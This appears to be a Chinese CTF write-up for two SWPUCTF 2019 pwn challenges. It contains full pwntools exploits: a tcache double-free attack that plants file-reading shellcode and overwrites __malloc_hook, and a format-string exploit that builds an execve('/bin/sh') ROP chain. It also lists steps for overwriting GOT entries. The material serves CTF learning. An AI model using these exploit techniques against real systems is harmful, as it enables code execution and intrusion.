美文网首页
2019 swpuctf pwn writeup

2019 swpuctf pwn writeup

作者: pu1p | 来源:发表于2019-12-10 18:27 被阅读0次

前言

前两天玩了一下swpuctf, 事情比较多就只做了pwn题. 一共两个pwn题, 都不是很难. 拿了一个一血一个三血, 记录一下.

p1kkheap

这个题的漏洞很明显, free之后指针没有清空, 可以double free. 而且这题给的libc是2.27, tcache结合 double free 可以实现任意地址写.
结合提供的 show 功能可以实现任意地址读写.

而且题目开始时还咋 0x666000 处mmap了一块 rwx 的空间.

不过题目有三个限制

  1. seccomp 禁了 execve 系统调用.
  2. add/edit/show/delete 操作的次数不能超过 18 次
  3. free 的次数 不能超过 三次.

正好前两天看了一篇tcache struct攻击的文章[1]. 利用这种方法恰好把所以次数都用完. 赛后查看官方wp发现确实就是预期解.

思路大概如下:

  1. double free, leak 堆地址
  2. 修改fd 指向 tcache struct
  3. 修改 tcache struct, 将 一个chunk free 进 unsorted bin, 得到 libc 地址
  4. 修改 tcache struct 的entry.
    1. malloc 一个chunk 在 0x666000 除写入 shellcode
    2. malloc 一个chunk 在 __malloc_hook 处修改其为 0x666000
  5. malloc 执行 shellcode

exp如下

from pwn import *
from time import sleep
import sys

global io

context(arch = 'amd64', os = 'linux', endian = 'little')
filename = "./p1KkHeap"
ip = "39.98.64.24"
port = 9091

LOCAL = True if len(sys.argv)==1 else False
elf = ELF(filename)
remote_libc = "./libc.so.6"
if LOCAL:
    io = process("./" + filename, env={'LD_PRELOAD': remote_libc}) 
    libc = ELF(remote_libc)
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)

def lg(name, val):
    log.info(name+" : "+hex(val))

global g_opcnt
g_opcnt = 0

def choice( idx):
    global g_opcnt
    g_opcnt += 1
    print("%d / 18"%(g_opcnt))
    io.sendlineafter( "Your Choice: ", str(idx))
    

def add( size):
    choice( 1)
    io.sendlineafter( "size: ", str(size))

def show( idx):
    choice( 2)
    io.sendlineafter( "id: ", str(idx))

def edit( idx, data):
    choice( 3)
    io.sendlineafter( "id: ", str(idx))
    io.sendafter( "content: ", data)

def remove( idx):
    choice( 4)
    io.sendlineafter( "id: ", str(idx))

add( 0x80)
add( 0x90)

remove( 1)
remove( 1)

show( 1)
io.recvuntil( "content: ")

heap_addr = u64(io.recv( 6)+'\0\0')
heap_base = heap_addr - 0x2f0

lg("heap base", heap_base)

add( 0x90)
edit( 2, p64(heap_base+0x10))

add( 0x90)
add( 0x90)
fake_tcache_st = '\x07'*64
edit( 4, fake_tcache_st)

remove( 0)
show( 0)
io.recvuntil( "content: ")

usbin_addr = u64(io.recv( 6)+'\0\0')
lg("usbin_addr", usbin_addr)
libc.address = usbin_addr - 0x3ebca0

lg("libc base", libc.address)
mh_addr = libc.symbols['__malloc_hook']

rwx_addr = 0x66660000

p2 = '\x07'*64+p64(mh_addr)+p64(rwx_addr)*7
edit( 4, p2)

add( 0x50)

sc = ""
sc += asm(shellcraft.amd64.linux.open("./flag.txt", 0))
sc += asm("""
    /* call read('eax', 1717960960, 11) */
    mov edi, eax
    xor eax, eax /* SYS_read */
    push 0x30
    pop rdx
    mov esi, 0x1010201 /* 1717960960 == 0x66660100 */
    xor esi, 0x67670301
    syscall
""")
sc += asm(shellcraft.amd64.linux.write(1, 0x66660100, 0x30))
edit( 5, sc)

add( 0x18)
edit( 6, p64(rwx_addr))

add( 0x28)

io.interactive()

login

题目没开 PIE.

有明显的格式化字符串漏洞. 但是字符串不在栈上, 所以用 %n 的时候地址不太好控制.

我的利用方式比较麻烦..... 利用栈上的ebp链 修改ebp, 最终把main函数的返回地址迁移到 bss段, 并进行rop.
但是因为bss段的低地址处就是代码段(不可写), 所以执行函数的时候会因为栈空间不够报错.... 只能自己构造syscall的rop链....(这一步浪费了不少时间)

exp如下

from pwn import *
from time import sleep
import sys

global io

context(arch = 'i386', os = 'linux', endian = 'little')

filename = "./login"
ip = "108.160.139.79"
port = 9090

LOCAL = True if len(sys.argv)==1 else False

elf = ELF(filename)

remote_libc = "./remote_libc"
if LOCAL:
    io = process(filename)
    libc = elf.libc

else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)

def lg(name, val):
    log.info(name+" : "+hex(val))

g_str = 0x804B0A0
g_name = 0x804B080
plt_printf = 0x8048400
plt_puts = 0x8048410
got_printf = 0x804B014
main = 0x80485E3 # 0x8048606 real

prefix = "wllmmllw"

rop = p32(plt_puts)+p32(main)+p32(got_printf)

io.sendafter( " your name: ", "/bin/sh\0")

p1 = "%6$x_%15$x\n"
io.sendlineafter( "password: \n", p1.ljust(0x31, '\0'))

io.recvuntil( "password: ")
t = io.recvline(io).split("_")
ebp0 = int(t[0], 16) # 0xffffd308
libc_addr = int(t[1], 16)

lg("ebp0", ebp0)

p2 = "%{}c%6$hhn".format((ebp0-4)&0xff)
io.sendlineafter( "again", p2)
io.sendlineafter( "again", "%20c%10$hhn")
io.sendlineafter( "again", "%9$s")
io.recvuntil( "word: ")

printf_addr = u32(io.recv( 4))
puts_addr = u32(io.recv( 4))
lg("printf addr", printf_addr)
lg("puts_addr", puts_addr)

libc.address = puts_addr - libc.symbols['puts']
lg("libc base", libc.address)

io.sendlineafter( "again", "%180c%10$hhn")

system_addr = libc.symbols['system']
binsh_addr = next(libc.search("/bin/sh\0"))

if LOCAL:
    int_80 = 0x00002c87 + libc.address
    PespR = 0x00003980 + libc.address
    PeaxPebxPesiPediR = 0x0003da0a + libc.address
    PecxR = 0x000b5377 + libc.address
else:
    int_80 = 0x00002d37 + libc.address
    PeaxPebxPesiPediR = 0x0003ff3a + libc.address
    PedxPecxPeaxR = 0x000faa4f + libc.address
    PecxR = 0x00193908 + libc.address
    PespR = 0x00003aa0 + libc.address
rop2 = p32(PeaxPebxPesiPediR)+\
    p32(0xb)+p32(binsh_addr)+\
    p32(0)*2 + p32(PecxR) + p32(0) + p32(int_80)

io.sendlineafter( "again", ("%{}c%6$hhn".format((ebp0)&0xff)).ljust(0x10, 'a')+rop2)
io.sendlineafter( "again", prefix)
io.interactive()

因为方法比较复杂导致exp写的太慢..... 只抢到了三血.....

一个更好的做法

通过调试可以看到执行printf的时候栈空间大概如下

'''
EBP  0xffffd2f8 —
ESP  0xffffd2e0 —
pwndbg> stack 20
add stack 20 to history
00:0000│ esp  0xffffd2e0 —▸ 0x804b0a0 ◂— 0xa616161 ('aaa\n')
01:0004│      0xffffd2e4 —▸ 0x8048dae ◂— ja     0x8048e1c
02:0008│      0xffffd2e8 ◂— 0x8
03:000c│      0xffffd2ec —▸ 0x80485fb ◂— add    esp, 0x10
04:0010│      0xffffd2f0 —▸ 0x8048dfd ◂— push   0x6f6c6c65
05:0014│      0xffffd2f4 —▸ 0x804b080 ◂— 0xa616161 ('aaa\n')
06:0018│ ebp  0xffffd2f8 —▸ 0xffffd308 —▸ 0xffffd318 ◂— 0x0
07:001c│      0xffffd2fc —▸ 0x8048603 ◂— nop
08:0020│      0xffffd300 —▸ 0x8048e20 ◂— inc    edx
09:0024│      0xffffd304 —▸ 0x804b080 ◂— 0xa616161 ('aaa\n')
0a:0028│      0xffffd308 —▸ 0xffffd318 ◂— 0x0
0b:002c│      0xffffd30c —▸ 0x8048689 ◂— nop
0c:0030│      0xffffd310 —▸ 0xf7fbf3dc (__exit_funcs) —▸ 0xf7fc01e0 (initial) ◂— 0x0
0d:0034│      0xffffd314 —▸ 0xffffd330 ◂— 0x1
0e:0038│      0xffffd318 ◂— 0x0
0f:003c│      0xffffd31c —▸ 0xf7e25637 (__libc_start_main+247) ◂— add    esp, 0x10
10:0040│      0xffffd320 —▸ 0xf7fbf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
12:0048│      0xffffd328 ◂— 0x0
13:004c│      0xffffd32c —▸ 0xf7e25637 (__libc_start_main+247) ◂— add    esp, 0x10
'''

我们可以通过如下流程在 栈上构造一个 got 表的地址. 以 printf@got 的地址 0x804B014 为例:

  1. 通过 %16c%6$hhn__0xffffd308 处的地址修改为 0xffffd310
  2. 通过 %20c%10$hhn_0xffffd310 处的地址修改为 0xf7fbf314
  3. 通过 %17c%6$hhn__0xffffd308 处的地址修改为 0xffffd311
  4. 通过 %176c%10$hhn0xffffd310 处的地址修改为 0xf7fbb014
  5. 通过 %18c%6$hhn__0xffffd308 处的地址修改为 0xffffd312
  6. 通过 %4c%10$hhn__0xffffd310 处的地址修改为 0xf704b014
  7. 通过 %19c%6$hhn__0xffffd308 处的地址修改为 0xffffd313
  8. 通过 %8c%10$hhn_0xffffd310 处的地址修改为 0x0804b014

通过这种方式可以把 printf@got, printf@got+1, printf@got+2, printf@got+3 四个地址都在栈上构造出来
再来一次格式化字符串操作就可以把 printf@got 指向 system了.

[2]中也是用的这种方式

如果一开始就想到这种方法的话做起来应该会快一些.

总结

emmmm, 写exp还是太慢了, 思路还是太狭隘了.

多做题, 多总结!

参考

[1] 初探tcache struct攻击-先知社区

[2] 非栈上格式化字符串漏洞利用技巧-安全客

相关文章

  • 2019 swpuctf pwn writeup

    前言 前两天玩了一下swpuctf, 事情比较多就只做了pwn题. 一共两个pwn题, 都不是很难. 拿了一个一血...

  • [JarvisOj](pwn)tell me something

    简介 : 项目地址 : pwn题目及 writeup 汇总 题目说明 : Do you have somethin...

  • whuctf pwn writeup

    写在前面: 这次比赛还是挺酷的,学到了一些骚操作,感谢武汉大学举办的这次比赛 概述: Pwnpwn:签到题,ret...

  • pwn — easy writeup

    首先,先在虚拟机里check easy的保护: 发现只开了堆栈不可执行。 把文件拖进ida里,打开main函数 发...

  • pwn — MSA writeup

    MSA: 在终端用check查看文件保护 发现没有开启什么保护,倒是有RWX(读写执行)段 打开ida继续看,先看...

  • BUUCTF PWN WriteUp

    test_your_nc rip gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取...

  • Jarvis OJ PWN level6 WriteUp

    终于做完了自己在pwn方向的第一道堆题,参考了writeup1和writeup2怼了四天,终于理解了整道题目,本地...

  • 2019 Seccon PWN Writeup--sum

    0x20 sum 这道题目挺有意思的, 一开始没想明白怎么利用, 只知道一个Integer Overflow和of...

  • 2019 红帽杯决赛 pwn 题 writeup

    前言 这次比赛的赛制和今年国赛的赛制一样. 名为攻防, 实为解题. 不过和常规解题相比加了个罚时规则, 越早解出题...

  • SWPUCTF2019

    记录一哈复现过程 WEB web1 题目地址为:http://211.159.177.185:23456/inde...

网友评论

      本文标题:2019 swpuctf pwn writeup

      本文链接:https://www.haomeiwen.com/subject/htnggctx.html